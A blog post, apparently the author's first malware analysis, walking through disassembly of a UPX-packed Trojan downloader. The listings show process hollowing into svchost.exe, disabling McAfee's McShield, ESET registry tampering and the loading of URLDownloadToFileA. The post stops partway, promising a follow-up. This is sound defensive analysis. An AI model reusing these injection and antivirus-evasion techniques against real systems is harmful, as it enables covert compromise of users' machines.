As a malware for my first analysis I decided to download Trojan.Downloader-4680 (MD5 b48301acf88fc593b1481f994d48d1e4 ) from offensivecomputing.net.
The binary is packed with UPX.
After the unpacking loop we arrive at
UPX1:15173C75 loc_15173C75: UPX1:15173C75 mov eax, [edi] UPX1:15173C77 or eax, eax UPX1:15173C79 jz short loc_15173CB7 UPX1:15173C7B mov ebx, [edi+4] UPX1:15173C7E lea eax, [eax+esi+13058h] UPX1:15173C85 add ebx, esi UPX1:15173C87 push eax UPX1:15173C88 add edi, 8 UPX1:15173C8B call dword ptr [esi+13080h] ; call loadlibraryA UPX1:15173C91 xchg eax, ebp UPX1:15173C92 UPX1:15173C92 loc_15173C92: UPX1:15173C92 mov al, [edi] UPX1:15173C94 inc edi UPX1:15173C95 or al, al UPX1:15173C97 jz short loc_15173C75 UPX1:15173C99 mov ecx, edi UPX1:15173C9B push edi UPX1:15173C9C dec eax UPX1:15173C9D repne scasb UPX1:15173C9F push ebp UPX1:15173CA0 call dword ptr [esi+13084h] ; call GetProcAddress UPX1:15173CA6 or eax, eax UPX1:15173CA8 jz short loc_15173CB1 UPX1:15173CAA mov [ebx], eax UPX1:15173CAC add ebx, 4 UPX1:15173CAF jmp short loc_15173C92 UPX1:15173CB1 UPX1:15173CB1 UPX1:15173CB1 loc_15173CB1: UPX1:15173CB1 call dword ptr [esi+13088h] UPX1:15173CB7 UPX1:15173CB7 loc_15173CB7: UPX1:15173CB7 popa UPX1:15173CB8 jmp loc_15161A93
Here the malware loads kernel32.dll and calls GetProcAddress for the following procedures:
- ExitProcess
- GetTmpFileName
- GetTickCount
- Sleep
- CreateThread
The malware then executes the jmp at 15173CB8.
The target of the jmp, after the unpacking loop (and after my analysis/renaming) looks like this:
UPX0:15161A93 loc_15161A93: UPX0:15161A93 call rebuild_import_tables UPX0:15161A98 call search_proc_by_hash1 UPX0:15161A9D call search_proc_by_hash2 UPX0:15161AA2 call disable_McShield UPX0:15161AA7 push 400h UPX0:15161AAC push offset lpFileName UPX0:15161AB1 push 0 UPX0:15161AB3 call k32_GetModuleFileNameA UPX0:15161AB9 mov startupinfo.cb, 44h UPX0:15161AC3 mov startupinfo.dwFlags, 1 UPX0:15161ACD mov startupinfo.wShowWindow, 2 UPX0:15161AD6 push offset aSvchost_exe ; "svchost.exe " UPX0:15161ADB push offset svchost_lstrcat ; "" UPX0:15161AE0 call k32_lstrcat UPX0:15161AE6 nop UPX0:15161AE7 push offset lpFileName UPX0:15161AEC push offset svchost_lstrcat ; "" UPX0:15161AF1 call k32_lstrcat UPX0:15161AF7 push offset lpPROCESS_INFORMATION UPX0:15161AFC push offset startupinfo UPX0:15161B01 push 0 UPX0:15161B03 push 0 UPX0:15161B05 push 4 UPX0:15161B07 push 0 UPX0:15161B09 push 0 UPX0:15161B0B push 0 UPX0:15161B0D push offset svchost_lstrcat ; "" UPX0:15161B12 push 0 UPX0:15161B14 call k32_CreateProcessA UPX0:15161B1A push 0 UPX0:15161B1C call k32_GetModuleHandleA UPX0:15161B22 mov moduleHandle, eax UPX0:15161B27 mov eax, moduleHandle UPX0:15161B2C lea edi, [eax] UPX0:15161B2E add edi, [edi+3Ch] UPX0:15161B31 add edi, 4 UPX0:15161B34 nop UPX0:15161B35 add edi, 14h UPX0:15161B38 mov eax, [edi+38h] UPX0:15161B3B push eax UPX0:15161B3C pop dword_15163C7C UPX0:15161B42 push 40h UPX0:15161B44 push 3000h UPX0:15161B49 push dword_15163C7C UPX0:15161B4F push moduleHandle UPX0:15161B55 push lpPROCESS_INFORMATION.hProcess UPX0:15161B5B call k32_kernel32_VirtualAllocEx UPX0:15161B61 push eax UPX0:15161B62 pop dword_15163C80 UPX0:15161B68 push offset unk_15163C84 UPX0:15161B6D push dword_15163C7C UPX0:15161B73 push moduleHandle UPX0:15161B79 push dword_15163C80 UPX0:15161B7F push lpPROCESS_INFORMATION.hProcess UPX0:15161B85 call k32_WriteProcessMemory UPX0:15161B8B push 10007h UPX0:15161B90 pop dword_15163C8C UPX0:15161B96 push offset dword_15163C8C UPX0:15161B9B push lpPROCESS_INFORMATION.hThread UPX0:15161BA1 call k32_GetThreadContext UPX0:15161BA7 mov dword_15163D44, offset byte_15161703 UPX0:15161BB1 push offset dword_15163C8C UPX0:15161BB6 push lpPROCESS_INFORMATION.hThread UPX0:15161BBC call k32_SetThreadContext UPX0:15161BC2 push lpPROCESS_INFORMATION.hThread UPX0:15161BC8 call k32_ResumeThread UPX0:15161BCE push 1F4h UPX0:15161BD3 call k32_Sleep UPX0:15161BD9 push 0 UPX0:15161BDB call k32_ExitProcess UPX0:15161BE1 push 0 UPX0:15161BE3 call j_kernel32_ExitProcess
Let's look at what the function rebuild_import_tables does.
It starts by calling a function that sets eax to the start address of kernel32.dll :
UPX0:151618B7 rebuild_import_tables proc near UPX0:151618B7 call set_eax_k32_start_offset UPX0:151618BC or eax, eax UPX0:151618BE jnz loc_15161995 UPX0:151618C4 retn ..... UPX0:15161995 loc_15161995: UPX0:15161995 push eax UPX0:15161996 pop offset_begin_k32 UPX0:1516199C xor offset_begin_k32, 522h UPX0:151619A6 call j_kernel32_GetTickCount UPX0:151619AB push offset lpThreadAttributes UPX0:151619B0 push 0 UPX0:151619B2 push 0 UPX0:151619B4 push offset thread_func1 UPX0:151619B9 push 0 UPX0:151619BB push 0 UPX0:151619BD call j_kernel32_CreateThread UPX0:151619C2 call j_kernel32_GetTickCount UPX0:151619C7 push 0C8h UPX0:151619CC call j_kernel32_Sleep UPX0:151619D1 push offset k32_CloseHandle UPX0:151619D6 push dword ptr NUMBER_OF_ADDRESSES1 UPX0:151619DC push offset byte_151618C5 UPX0:151619E1 push offset_begin_k32 UPX0:151619E7 call rebuild_import_table
The important part of this code is the call to rebuild_import_table (the return values from the call to GetTickCount aren't used for anything that I am aware of, and the thread function just undoes the xor at 1516199C).
The rebuild_import_table will find the address of NUMBER_OF_ADDRESSES1 of the given dll (in this case kernel32) and start saving them at the address passed in the last parameter (in this case k32_CloseHandle). I haven't figured out what the second argument is.
The NUMBER_OF_ADDRESSES is an hardcoded value, and the return value (in EAX) is the number of addresses looked up. After the call these were the found addresses:
UPX0:15163B58 k32_CloseHandle dd offset kernel32_CloseHandle UPX0:15163B5C k32_CreateFileA dd offset kernel32_CreateFileA UPX0:15163B60 k32_CreateProcessA dd offset kernel32_CreateProcessA UPX0:15163B64 k32_DeleteFileA dd offset kernel32_DeleteFileA UPX0:15163B68 k32_ExitProcess dd offset kernel32_ExitProcess UPX0:15163B6C k32_FreeConsole dd offset kernel32_FreeConsole UPX0:15163B70 k32_GetCommandLineA dd offset kernel32_GetCommandLineA UPX0:15163B74 k32_GetModuleFileNameA dd offset kernel32_GetModuleFileNameA UPX0:15163B78 k32_GetModuleHandleA dd offset kernel32_GetModuleHandleA UPX0:15163B7C k32_GetTempPathA dd offset kernel32_GetTempPathA UPX0:15163B80 k32_GetThreadContext dd offset kernel32_GetThreadContext UPX0:15163B84 k32_LoadLibraryA dd offset kernel32_LoadLibraryA UPX0:15163B88 k32_ResumeThread dd offset kernel32_ResumeThread UPX0:15163B8C k32_SetThreadContext dd offset kernel32_SetThreadContext UPX0:15163B90 k32_Sleep dd offset kernel32_Sleep UPX0:15163B94 k32_kernel32_VirtualAllocEx dd offset kernel32_VirtualAllocEx UPX0:15163B98 k32_WriteFile dd offset kernel32_WriteFile UPX0:15163B9C k32_WriteProcessMemory dd offset kernel32_WriteProcessMemory UPX0:15163BA0 k32_lstrcat dd offset kernel32_lstrcat UPX0:15163BA4 k32_lstrcpy dd offset kernel32_lstrcpy UPX0:15163BA8 k32_readfile dd offset kernel32_ReadFile UPX0:15163BAC k32_OpenProcess dd offset kernel32_OpenProcess UPX0:15163BB0 k32_TerminateProcess dd offset kernel32_TerminateProcess UPX0:15163BB4 k32_lstrcpyn dd offset kernel32_lstrcpyn UPX0:15163BB8 k32_lstrlen dd offset kernel32_lstrlen UPX0:15163BBC k32_lstrcmpi dd offset kernel32_lstrcmpi UPX0:15163BC0 k32_GetProcAddress dd offset kernel32_GetProcAddress UPX0:15163BC4 k32_GlobalAlloc dd offset kernel32_GlobalAlloc UPX0:15163BC8 k32_GlobalFree dd offset kernel32_GlobalFree UPX0:15163BCC k32_CreateToolhelp32Snapshot dd offset kernel32_CreateToolhelp32Snapshot UPX0:15163BD0 k32_Process32First dd offset kernel32_Process32First UPX0:15163BD4 k32_Process32Next dd offset kernel32_Process32Next UPX0:15163BD8 k32_DuplicateHandle dd offset kernel32_DuplicateHandle UPX0:15163BDC k32_GetCurrentProcessId dd offset kernel32_GetCurrentProcessId UPX0:15163BE0 k32_CreateThread dd offset kernel32_CreateThread
Afterward we have a similiar process (this time to advapi.dll):
UPX0:151619F5 loc_151619F5: UPX0:151619F5 push offset aAdvapi32_dll UPX0:151619FA pop eax UPX0:151619FB push 521h UPX0:15161A00 pop ecx UPX0:15161A01 xor [eax], ecx UPX0:15161A03 push offset lpThreadAttributes UPX0:15161A08 push 0 UPX0:15161A0A push 0 UPX0:15161A0C push offset thread_func2 UPX0:15161A11 push 0 UPX0:15161A13 push 0 UPX0:15161A13 rebuild_import_tables endp UPX0:15161A15 call k32_CreateThread UPX0:15161A1B push 0FAh UPX0:15161A20 call k32_Sleep UPX0:15161A26 push offset aAdvapi32_dll ; "advapi32.dll" UPX0:15161A2B call k32_LoadLibraryA UPX0:15161A31 or eax, eax UPX0:15161A33 jz short locret_15161A5B UPX0:15161A35 mov offset_begin_advapi32, eax UPX0:15161A3A push offset advapi_AdjustTokenPrivileges UPX0:15161A3F push NUMBER_OF_ADDRESSES2 UPX0:15161A45 push offset byte_15161955 UPX0:15161A4A push eax UPX0:15161A4B call rebuild_import_table UPX0:15161A50 cmp eax, NUMBER_OF_ADDRESSES2 UPX0:15161A56 jz short loc_15161A5C UPX0:15161A58 retn
as a result of this call to rebuild_import_table the following addresses were looked up:
UPX0:15163BE8 advapi_AdjustTokenPrivileges dd offset advapi32_AdjustTokenPrivileges UPX0:15163BEC advapi_LookupPrivilegeValueA dd offset advapi32_LookupPrivilegeValueA UPX0:15163BF0 advapi_OpenProcessToken dd offset advapi32_OpenProcessToken UPX0:15163BF4 advapi_RegCreateKeyA dd offset advapi32_RegCreateKeyA UPX0:15163BF8 advapi_RegEnumKeyExA dd offset advapi32_RegEnumKeyExA UPX0:15163BFC advapi_RegOpenKeyExA dd offset advapi32_RegOpenKeyExA UPX0:15163C00 advapi_RegQueryValueExA dd offset advapi32_RegQueryValueExA UPX0:15163C04 advapi_RegSetValueExA dd offset advapi32_RegSetValueExA UPX0:15163C08 advapi_CloseServiceHandle dd offset advapi32_CloseServiceHandle UPX0:15163C0C advapi_ControlService dd offset advapi32_ControlService UPX0:15163C10 advapi_DeleteService dd offset advapi32_DeleteService UPX0:15163C14 advapi_OpenSCManagerA dd offset advapi32_OpenSCManagerA UPX0:15163C18 advapi_OpenServiceA dd offset advapi32_OpenServiceA
the jz is taken and we proceed to:
UPX0:15161A5C loc_15161A5C: UPX0:15161A5C push offset aUrlmon_dll ; "urlmon.dll" UPX0:15161A61 call k32_LoadLibraryA UPX0:15161A67 or eax, eax UPX0:15161A69 jz short near ptr unk_15161A91 UPX0:15161A6B mov offset_begin_urlmon, eax UPX0:15161A70 push offset urlmon_dll_URLDownloadToFileA UPX0:15161A75 push NUMBER_OF_ADDRESSES3 UPX0:15161A7B push offset byte_1516198D UPX0:15161A80 push eax UPX0:15161A81 call rebuild_import_table UPX0:15161A86 cmp eax, NUMBER_OF_ADDRESSES3 UPX0:15161A8C jz short near ptr unk_15161A92
and the function looked up by rebuild_import_table is
UPX0:15163C20 urlmon_dll_URLDownloadToFileA dd offset urlmon_URLDownloadToFileA
Again the jz is taken and the instruction at the target address is:
UPX0:15161A92 locret_15161A92: UPX0:15161A92 retn
So the execution returns to
UPX0:15161A98 call search_proc_by_hash1
(the function following the call to rebuild_import_tables)
This is what the function looks like:
UPX0:151615F4 search_proc_by_hash1 proc near UPX0:151615F4 push process_name_hash1 UPX0:151615FA call search_process UPX0:151615FF cmp eax, 0 UPX0:15161602 jbe locret_151616C5 UPX0:15161608 push eax UPX0:15161609 pop dword_15163B45 UPX0:1516160F push offset registryKeyHandle UPX0:15161614 push offset aSoftwareEsetNo ; "SOFTWARE\\Eset\\Nod\\CurrentVersion\\Module"... UPX0:15161619 push 80000002h UPX0:1516161E call advapi_RegCreateKeyA UPX0:15161624 push 0B8h UPX0:15161629 push offset a2 ; "2" UPX0:1516162E push 3 UPX0:15161630 push 0 UPX0:15161632 push offset aExc ; "exc" UPX0:15161637 push registryKeyHandle UPX0:1516163D call advapi_RegSetValueExA UPX0:15161643 or eax, eax UPX0:15161645 jnz short locret_151616C5 UPX0:15161647 push 3 UPX0:15161649 pop dword_15163B41 UPX0:1516164F push 4 UPX0:15161651 push offset dword_15163B41 UPX0:15161656 push 4 UPX0:15161658 push 0 UPX0:1516165A push offset aExc_num ; "exc_num" UPX0:1516165F push registryKeyHandle UPX0:15161665 call advapi_RegSetValueExA UPX0:1516166B push registryKeyHandle UPX0:15161671 call k32_CloseHandle UPX0:15161677 push dword_15163B45 UPX0:1516167D push 0 UPX0:1516167F push 1 UPX0:15161681 mov ecx, k32_OpenProcess UPX0:15161687 push ecx UPX0:15161688 pop dword_15163B49 UPX0:1516168E push 0 UPX0:15161690 pop dword_15163B4D UPX0:15161696 push offset registryKeyHandle UPX0:1516169B push 0 UPX0:1516169D push 0 UPX0:1516169F push offset thread_func3 UPX0:151616A4 push 0 UPX0:151616A6 push 0 UPX0:151616A8 call k32_CreateThread UPX0:151616AE push 78h UPX0:151616B0 call k32_Sleep UPX0:151616B6 call dword_15163B4D UPX0:151616BC push 1 UPX0:151616BE push eax UPX0:151616BF call k32_TerminateProcess UPX0:151616C5 locret_151616C5: UPX0:151616C5 retn UPX0:151616C5 search_proc_by_hash1 endp
We can see that there is a push of an argument and a call to search_process
UPX0:1516121D search_process proc near UPX0:1516121D push ebp UPX0:1516121E mov ebp, esp UPX0:15161220 push 0 UPX0:15161222 push TH32CS_SNAPPROCESS UPX0:15161224 call k32_CreateToolhelp32Snapshot UPX0:1516122A cmp eax, 0FFFFFFFFh UPX0:1516122D jz short locret_1516129E UPX0:1516122F push eax UPX0:15161230 pop snapShotHandle UPX0:15161236 mov LPPROCESSENTRY32, 128h UPX0:15161240 push offset LPPROCESSENTRY32 UPX0:15161245 push snapShotHandle UPX0:1516124B call k32_Process32First UPX0:15161251 cmp eax, 1 UPX0:15161254 jnz short locret_1516129E UPX0:15161256 UPX0:15161256 loc_15161256: UPX0:15161256 push offset ProcessName ; "" UPX0:1516125B call GenHash UPX0:15161260 cmp eax, [ebp+8] UPX0:15161263 jnz short loc_1516127A UPX0:15161265 push snapShotHandle UPX0:1516126B call k32_CloseHandle UPX0:15161271 push dword_15163351 UPX0:15161277 pop eax UPX0:15161278 jmp short locret_1516129E UPX0:1516127A loc_1516127A: UPX0:1516127A push offset LPPROCESSENTRY32 UPX0:1516127F push snapShotHandle UPX0:15161285 call k32_Process32Next UPX0:1516128B or eax, eax UPX0:1516128D jnz short loc_15161256 UPX0:1516128F push snapShotHandle UPX0:15161295 call k32_CloseHandle UPX0:1516129B push 0 UPX0:1516129D pop eax UPX0:1516129E UPX0:1516129E locret_1516129E: UPX0:1516129E UPX0:1516129E leave UPX0:1516129F retn 4 UPX0:1516129F search_process endp
This function takes a snapshot of all running processes, creates a hash of the process name and compares it to the argument. I don't know the name that would result in the given hash is, although I'm guessing it has something to do with eset nod anti-virus (which I don't have running in this machine).
As the return value of the call to search_process EAX holds 0 so the jump at 15161602 is taken (and the process returns).
I will continue with my analysis in a future post.
No comments:
Post a Comment